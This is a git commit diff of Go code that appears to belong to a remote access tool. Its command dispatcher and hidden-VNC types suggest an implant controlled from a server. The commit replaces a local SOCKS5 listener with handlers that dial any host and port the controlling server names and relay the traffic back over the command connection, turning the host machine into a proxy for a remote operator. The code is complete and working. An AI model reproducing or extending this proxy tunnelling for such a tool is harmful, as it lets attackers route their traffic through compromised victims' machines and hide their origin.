add new socks5 update

This commit is contained in:
KingKDot
2026-03-15 16:14:50 -05:00
parent d4934e282d
commit de9b986972
21 changed files with 1087 additions and 717 deletions
@@ -123,6 +123,8 @@ func resetForReconnect(env *runtime.Env) {
stopVoiceSession()
CleanupAllTunnels()
env.NotificationMu.Lock()
env.NotificationKeywords = nil
env.NotificationMinIntervalMs = 0
@@ -1755,11 +1757,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
return ErrReconnect
case "proxy_start":
case "proxy_connect":
payload, _ := envelope["payload"].(map[string]interface{})
return HandleProxyStart(ctx, env, cmdID, payload)
case "proxy_stop":
return HandleProxyStop(ctx, env, cmdID)
return HandleProxyConnect(ctx, env, cmdID, payload)
case "proxy_data":
payload, _ := envelope["payload"].(map[string]interface{})
return HandleProxyData(ctx, env, cmdID, payload)
case "proxy_close":
return HandleProxyClose(ctx, env, cmdID)
default:
log.Printf("command: unknown action=%s", action)
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"}
+146 -210
View File
@@ -2,9 +2,7 @@ package handlers
import (
"context"
"encoding/binary"
"fmt"
"io"
"log"
"net"
"sync"
@@ -15,241 +13,179 @@ import (
)
var (
proxyListenerMu sync.Mutex
proxyListener net.Listener
proxyPort int
proxyCtx context.Context
proxyCancel context.CancelFunc
tunnelMu sync.Mutex
tunnelConns = make(map[string]*tunnelConn) // connectionId → tunnelConn
)
func HandleProxyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
proxyListenerMu.Lock()
defer proxyListenerMu.Unlock()
type tunnelConn struct {
conn net.Conn
cancel context.CancelFunc
}
if proxyListener != nil {
func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
host, _ := payload["host"].(string)
portRaw := payload["port"]
var port int
switch v := portRaw.(type) {
case int:
port = v
case int8:
port = int(v)
case int16:
port = int(v)
case int32:
port = int(v)
case int64:
port = int(v)
case uint:
port = int(v)
case uint8:
port = int(v)
case uint16:
port = int(v)
case uint32:
port = int(v)
case uint64:
port = int(v)
case float32:
port = int(v)
case float64:
port = int(v)
}
if host == "" || port <= 0 || port > 65535 {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
CommandID: connID,
OK: false,
Message: "Proxy already running",
Message: "Invalid host or port",
})
}
requestedPort := 1080
if portVal, ok := payload["port"]; ok {
if port, ok := portVal.(int); ok && port > 0 {
requestedPort = port
target := fmt.Sprintf("%s:%d", host, port)
goSafe("tunnel-dial-"+connID, nil, func() {
targetConn, err := net.DialTimeout("tcp", target, 10*time.Second)
if err != nil {
log.Printf("[tunnel] failed to connect to %s: %v", target, err)
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: connID,
OK: false,
Message: fmt.Sprintf("Connection refused: %v", err),
})
return
}
}
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", requestedPort))
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
tunnelCtx, tunnelCancel := context.WithCancel(context.Background())
tc := &tunnelConn{conn: targetConn, cancel: tunnelCancel}
tunnelMu.Lock()
tunnelConns[connID] = tc
tunnelMu.Unlock()
// tell the server we connected successfully
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: fmt.Sprintf("Failed to start proxy: %v", err),
})
}
CommandID: connID,
OK: true,
Message: "Connected",
}); err != nil {
targetConn.Close()
tunnelCancel()
tunnelMu.Lock()
delete(tunnelConns, connID)
tunnelMu.Unlock()
return
}
proxyListener = listener
proxyPort = listener.Addr().(*net.TCPAddr).Port
proxyCtx, proxyCancel = context.WithCancel(context.Background())
defer func() {
tunnelCancel()
targetConn.Close()
tunnelMu.Lock()
delete(tunnelConns, connID)
tunnelMu.Unlock()
_ = wire.WriteMsg(ctx, env.Conn, wire.ProxyClose{
Type: "proxy_close",
ConnectionID: connID,
})
log.Printf("SOCKS5 proxy started on port %d", proxyPort)
}()
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: fmt.Sprintf("Proxy started on port %d", proxyPort),
}); err != nil {
return err
}
go acceptProxyConnections(proxyCtx, listener)
buf := make([]byte, 32*1024)
for {
select {
case <-tunnelCtx.Done():
return
default:
}
n, err := targetConn.Read(buf)
if n > 0 {
data := make([]byte, n)
copy(data, buf[:n])
if writeErr := wire.WriteMsg(ctx, env.Conn, wire.ProxyData{
Type: "proxy_data",
ConnectionID: connID,
Data: data,
}); writeErr != nil {
return
}
}
if err != nil {
return
}
}
})
return nil
}
func HandleProxyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
proxyListenerMu.Lock()
defer proxyListenerMu.Unlock()
if proxyListener == nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "No proxy running",
})
func HandleProxyData(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
tunnelMu.Lock()
tc, ok := tunnelConns[connID]
tunnelMu.Unlock()
if !ok {
return nil
}
if proxyCancel != nil {
proxyCancel()
}
if err := proxyListener.Close(); err != nil {
log.Printf("Error closing proxy listener: %v", err)
}
proxyListener = nil
proxyPort = 0
log.Printf("SOCKS5 proxy stopped")
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "Proxy stopped",
})
}
func acceptProxyConnections(ctx context.Context, listener net.Listener) {
for {
select {
case <-ctx.Done():
return
default:
}
conn, err := listener.Accept()
if err != nil {
select {
case <-ctx.Done():
return
default:
log.Printf("Proxy accept error: %v", err)
continue
}
}
go handleProxyConnection(ctx, conn)
}
}
func handleProxyConnection(ctx context.Context, conn net.Conn) {
defer conn.Close()
conn.SetDeadline(time.Now().Add(30 * time.Second))
buf := make([]byte, 2)
if _, err := io.ReadFull(conn, buf); err != nil {
log.Printf("Proxy handshake read error: %v", err)
return
}
version := buf[0]
nmethods := buf[1]
if version != 5 {
log.Printf("Unsupported SOCKS version: %d", version)
return
}
methods := make([]byte, nmethods)
if _, err := io.ReadFull(conn, methods); err != nil {
log.Printf("Proxy methods read error: %v", err)
return
}
if _, err := conn.Write([]byte{5, 0}); err != nil {
log.Printf("Proxy handshake response error: %v", err)
return
}
reqHeader := make([]byte, 4)
if _, err := io.ReadFull(conn, reqHeader); err != nil {
log.Printf("Proxy request header error: %v", err)
return
}
if reqHeader[0] != 5 {
log.Printf("Invalid request version: %d", reqHeader[0])
return
}
cmd := reqHeader[1]
if cmd != 1 {
conn.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0}) // command not supported
return
}
atyp := reqHeader[3]
var host string
var port uint16
switch atyp {
case 1: // IPv4
addr := make([]byte, 4)
if _, err := io.ReadFull(conn, addr); err != nil {
return
}
host = net.IP(addr).String()
case 3: // domain name
addrLen := make([]byte, 1)
if _, err := io.ReadFull(conn, addrLen); err != nil {
return
}
addr := make([]byte, addrLen[0])
if _, err := io.ReadFull(conn, addr); err != nil {
return
}
host = string(addr)
case 4: // IPv6
addr := make([]byte, 16)
if _, err := io.ReadFull(conn, addr); err != nil {
return
}
host = net.IP(addr).String()
var data []byte
switch v := payload["data"].(type) {
case []byte:
data = v
case string:
data = []byte(v)
default:
conn.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0}) // Address type not supported
return
return nil
}
// read port
portBytes := make([]byte, 2)
if _, err := io.ReadFull(conn, portBytes); err != nil {
return
if _, err := tc.conn.Write(data); err != nil {
tc.cancel()
return nil
}
port = binary.BigEndian.Uint16(portBytes)
return nil
}
log.Printf("SOCKS5 CONNECT to %s:%d", host, port)
// connect to target
targetAddr := fmt.Sprintf("%s:%d", host, port)
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
if err != nil {
log.Printf("Failed to connect to %s: %v", targetAddr, err)
conn.Write([]byte{5, 5, 0, 1, 0, 0, 0, 0, 0, 0}) // Connection refused
return
func HandleProxyClose(ctx context.Context, env *runtime.Env, connID string) error {
tunnelMu.Lock()
tc, ok := tunnelConns[connID]
if ok {
delete(tunnelConns, connID)
}
defer targetConn.Close()
tunnelMu.Unlock()
if ok {
tc.cancel()
tc.conn.Close()
}
return nil
}
// send success response
// VER | REP | RSV | ATYP | BND.ADDR | BND.PORT
conn.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
// clear deadline for data transfer
conn.SetDeadline(time.Time{})
targetConn.SetDeadline(time.Time{})
// relay data bidirectionally
done := make(chan struct{}, 2)
goSafe("socks5 relay to target", nil, func() {
io.Copy(targetConn, conn)
done <- struct{}{}
})
goSafe("socks5 relay to client", nil, func() {
io.Copy(conn, targetConn)
done <- struct{}{}
})
select {
case <-done:
case <-ctx.Done():
func CleanupAllTunnels() {
tunnelMu.Lock()
defer tunnelMu.Unlock()
for id, tc := range tunnelConns {
tc.cancel()
tc.conn.Close()
delete(tunnelConns, id)
}
}
@@ -208,3 +208,14 @@ type HVNCCloneProgress struct {
TotalBytes int64 `msgpack:"totalBytes"`
Status string `msgpack:"status"`
}
type ProxyData struct {
Type string `msgpack:"type"`
ConnectionID string `msgpack:"connectionId"`
Data []byte `msgpack:"data"`
}
type ProxyClose struct {
Type string `msgpack:"type"`
ConnectionID string `msgpack:"connectionId"`
}